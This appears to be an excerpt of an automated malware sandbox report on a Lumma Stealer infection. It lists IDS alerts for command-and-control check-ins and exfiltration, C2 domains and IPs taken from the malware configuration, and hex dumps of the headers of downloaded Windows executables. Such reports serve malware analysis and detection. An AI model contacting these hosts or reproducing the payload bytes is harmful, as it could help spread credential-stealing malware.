Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:49746 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49763 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49763 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49757 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49757 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49800 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50000 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50000 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:49981 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:50049 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49830 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50038 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50008 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50005 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50005 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:50036 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50091 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:50091 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50051 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50051 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:49996 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50094 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50052 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50052 -> 104.21.53.8:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:01:42 GMTContent-Type: application/octet-streamContent-Length: 1895936Last-Modified: Thu, 24 Oct 2024 01:49:23 GMTConnection: keep-aliveETag: "6719a7a3-1cee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4b 00 00 04 00 00 86 d7 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 d2 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 d1 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 72 6f 70 67 66 73 73 00 e0 19 00 00 00 31 00 00 d4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6d 75 74 77 74 7a 68 00 10 00 00 00 e0 4a 00 00 04 00 00 00 c8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4a 00 00 22 00 00 00 cc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:01:45 GMTContent-Type: application/octet-streamContent-Length: 1918464Last-Modified: Thu, 24 Oct 2024 01:49:16 GMTConnection: keep-aliveETag: "6719a79c-1d4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 90 6c 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6c 00 00 04 00 00 72 5c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2b 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 7a 78 6b 76 69 6d 72 00 f0 1a 00 00 90 51 00 00 e4 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 62 75 6f 6b 79 74 75 00 10 00 00 00 80 6c 00 00 04 00 00 00 20 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 6c 00 00 22 00 00 00 24 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:01:47 GMTContent-Type: application/octet-streamContent-Length: 2742272Last-Modified: Thu, 24 Oct 2024 01:44:44 GMTConnection: keep-aliveETag: "6719a68c-29d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 78 69 6a 65 73 76 6f 00 80 29 00 00 a0 00 00 00 78 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 61 6d 79 79 68 71 00 20 00 00 00 20 2a 00 00 04 00 00 00 b2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:01:59 GMTContent-Type: application/octet-streamContent-Length: 3015168Last-Modified: Thu, 24 Oct 2024 01:49:10 GMTConnection: keep-aliveETag: "6719a796-2e0200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 31 00 00 04 00 00 99 a1 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 7a 6b 6a 6a 72 79 63 00 70 2b 00 00 00 06 00 00 6a 2b 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6c 71 70 7a 75 65 75 00 10 00 00 00 70 31 00 00 06 00 00 00 da 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 31 00 00 22 00 00 00 e0 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:02:10 GMTContent-Type: application/octet-streamContent-Length: 1918464Last-Modified: Thu, 24 Oct 2024 01:49:16 GMTConnection: keep-aliveETag: "6719a79c-1d4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 90 6c 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6c 00 00 04 00 00 72 5c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2b 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 7a 78 6b 76 69 6d 72 00 f0 1a 00 00 90 51 00 00 e4 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 62 75 6f 6b 79 74 75 00 10 00 00 00 80 6c 00 00 04 00 00 00 20 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 6c 00 00 22 00 00 00 24 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:02:19 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 24 Oct 2024 01:44:18 GMTConnection: keep-aliveETag: "6719a672-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a a6 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 88 3d 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
